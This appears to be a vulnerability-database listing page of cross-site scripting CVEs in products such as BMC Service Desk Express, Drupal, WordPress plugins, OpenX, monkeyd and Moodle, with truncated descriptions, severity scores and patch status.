PHP XSS Machform
NVD Exploit-DB
EPSS 1% CVSS 4.3
MEDIUM POC This Month

Multiple cross-site scripting (XSS) vulnerabilities in BMC Service Desk Express (SDE) 10.2.1.95 allow remote attackers to inject arbitrary web script or HTML via the (1) SelTab parameter to. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS Service Desk Express
NVD Exploit-DB
EPSS 0% CVSS 2.1
LOW PATCH Monitor

Cross-site scripting (XSS) vulnerability in the TinyBox (Simple Splash) module before 7.x-2.2 for Drupal allows remote authenticated users with the "administer tinybox" permission to inject arbitrary. Rated low severity (CVSS 2.1), this vulnerability is remotely exploitable.

XSS Tinybox
NVD
EPSS 0% CVSS 2.6
LOW Monitor

Cross-site scripting (XSS) vulnerability in the BuddyPress Extended Friendship Request plugin before 1.0.2 for WordPress, when the "Friend Connections" component is enabled, allows remote attackers. Rated low severity (CVSS 2.6), this vulnerability is remotely exploitable. No vendor patch available.

WordPress PHP XSS +1
NVD
EPSS 6% CVSS 4.3
MEDIUM POC PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in OpenX Source 2.8.10 and earlier allow remote attackers to inject arbitrary web script or HTML via the (1) package parameter to. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available.

PHP XSS Openx
NVD Exploit-DB
EPSS 0% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in the Directory Listing plugin in Monkey HTTP Daemon (monkeyd) 1.2.2 allows attackers to inject arbitrary web script or HTML via a file name. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS Monkey
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in flashuploader.swf in the Uploader component in Yahoo!. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Moodle Yui
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in uploader.swf in the Uploader component in Yahoo!. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Moodle Yui
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in io.swf in the IO Utility component in Yahoo!. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Moodle Yui
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in io.swf in the IO Utility component in Yahoo!. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Moodle Yui
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in lib/conditionlib.php in Moodle 2.4.x before 2.4.5 and 2.5.x before 2.5.1 allow remote attackers to inject arbitrary web script or HTML via the. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

PHP XSS Moodle
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39354

Related CWEs

MITRE ATT&CK

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